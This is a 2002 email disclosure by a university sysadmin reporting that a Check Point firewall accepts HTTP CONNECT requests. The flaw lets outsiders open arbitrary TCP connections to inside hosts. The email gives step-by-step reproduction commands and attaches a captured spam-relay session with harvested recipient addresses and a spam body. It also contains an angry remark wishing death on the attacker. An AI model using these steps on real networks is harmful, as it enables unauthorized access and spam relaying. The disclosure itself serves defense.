Checkpoint bounced my mail because I'm not a checkpoint customer, so I contacted customer advocacy and resent it to a different address (this message is copied to her as well). I was told that the issue would be propogated to an appropriate person. Please drop the old message and continue to hold this message until Checkpoint responds. I have a few updates to this issue that I have learned since I crafted the original message. I only need to give the "CONNECT" line, and nothing else. After the second newline there is a pause and then the TCP stream is open. I seem to be able to open any port on any machine I want *except* port 80. I was able to telnet in to UNIX login with the firewall appearing as the remote host. The initial machine I use (inside the firewall) does not need to actually exist, I merely have to attempt to connect to an IP address "inside" on port 80. This whole give anyone outside a firewall the ability to masquerade on any TCP service (except WWW) as a machine inside the domain of the firewall. As far as I can tell there are no logs on this, and it is hard to detect on the firewall. I found it by doing a tcpdump of all packets and gradually narrowing down my filters until I was able to "catch" an entire transaction. ----- Forwarded message from "William D. Colburn (aka Schlake)" <wcolburn@nmt.edu> ----- Step one: telnet to a machine behind the checkpoint firewall on port 80 Step two: Type the following: >CONNECT mailserver.somecompany.com:25 / HTTP/1.0 >User-Agent: eeep >Cache-Control: private,no-cache >Pragma: no-cache > Step three: wait a moment for your SMTP banner to pop up. I will attach an actual attack I caputured with tcpdump and ethereal. The file is the result of an ethereal "Follow TCP stream". I hate the person who did this to me and I hope they die a terrible death. -- William Colburn, "Sysprog" <wcolburn@nmt.edu> Computer Center, New Mexico Institute of Mining and Technology http://www.nmt.edu/tcc/ http://www.nmt.edu/~wcolburn --AqsLC8rIMeq19msA Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename=checkpoint From root@netpeep.nmt.edu Mon Feb 18 16:05:43 2002 Return-Path: <root@netpeep.nmt.edu> Received: from netpeep.nmt.edu (netpeep.nmt.edu [129.138.250.10]) by mailhost.nmt.edu (8.12.2/8.12.2) with ESMTP id g1IN5hF0009872 for <schlake@nmt.edu>; Mon, 18 Feb 2002 16:05:43 -0700 Received: from netpeep.nmt.edu (localhost [127.0.0.1]) by netpeep.nmt.edu (8.12.2/8.12.2) with ESMTP id g1IN5hnA020585 for <schlake@nmt.edu>; Mon, 18 Feb 2002 16:05:43 -0700 Received: (from root@localhost) by netpeep.nmt.edu (8.12.2/8.12.1/Submit) id g1IN5h8w020584 for schlake@nmt.edu; Mon, 18 Feb 2002 16:05:43 -0700 Date: Mon, 18 Feb 2002 16:05:43 -0700 From: root <root@netpeep.nmt.edu> Message-Id: <200202182305.g1IN5h8w020584@netpeep.nmt.edu> To: schlake@nmt.edu Content-Length: 3580 Lines: 112 CONNECT mail2.freeuk.net:25 / HTTP/1.0 User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Cache-Control: private,no-cache Pragma: no-cache HELO hotmail.com MAIL FROM: <pheros680506@hotmail.com> RCPT TO: <renewinter@freeuk.com> RCPT TO: <renewu@freeuk.com> RCPT TO: <renfah@freeuk.com> RCPT TO: <renfi11160@freeuk.com> RCPT TO: <renfield13@freeuk.com> RCPT TO: <renfield20@freeuk.com> RCPT TO: <renfield94@freeuk.com> RCPT TO: <renfrew@freeuk.com> RCPT TO: <renfro33@freeuk.com> RCPT TO: <reng3@freeuk.com> RCPT TO: <renga@freeuk.com> RCPT TO: <rengel293@freeuk.com> RCPT TO: <rengel7495@freeuk.com> RCPT TO: <rengelh946@freeuk.com> RCPT TO: <rengers@freeuk.com> RCPT TO: <rengised@freeuk.com> RCPT TO: <rengl21068@freeuk.com> RCPT TO: <rengl29048@freeuk.com> RCPT TO: <rengl78818@freeuk.com> DATA Reply-To: <pheros680506@hotmail.com> Message-ID: <004b71e11dcb$7144b8d2$6ac55bc3@mlpqff> From: <pheros680506@hotmail.com> To: <renewinter@freeuk.com> Cc: <renewu@freeuk.com>, <renfah@freeuk.com>, <renfi11160@freeuk.com>, <renfield13@freeuk.com>, <renfield20@freeuk.com>, <renfield94@freeuk.com>, <renfrew@freeuk.com>, <renfro33@freeuk.com>, <reng3@freeuk.com>, <renga@freeuk.com>, <rengel293@freeuk.com>, <rengel7495@freeuk.com>, <rengelh946@freeuk.com>, <rengers@freeuk.com>, <rengised@freeuk.com>, <rengl21068@freeuk.com>, <rengl29048@freeuk.com>, <rengl78818@freeuk.com> Subject: A new fragrance (3437AlLf5-384bbsO4815hPeX5-01@27) MiME-Version: 1.0 Content-Type: text/html; charset="iso-8859-1" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Importance: Normal Hi ! <HTML> <head><title>Pheros attraction</title> </head> <BODY TEXT="#000000" LINK="#000000" VLINK="#000000" BGCOLOR="#7777FF"> <CENTER> <TABLE WIDTH="650"> <TR> <TD COLSPAN="2"> <FONT FACE="VERDANA, ARIAL">Notice: I have paid to be able to send you this e-mail. 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QUIT --AqsLC8rIMeq19msA-- ----- End forwarded message ----- -- William Colburn, "Sysprog" <wcolburn@nmt.edu> Computer Center, New Mexico Institute of Mining and Technology http://www.nmt.edu/tcc/ http://www.nmt.edu/~wcolburn
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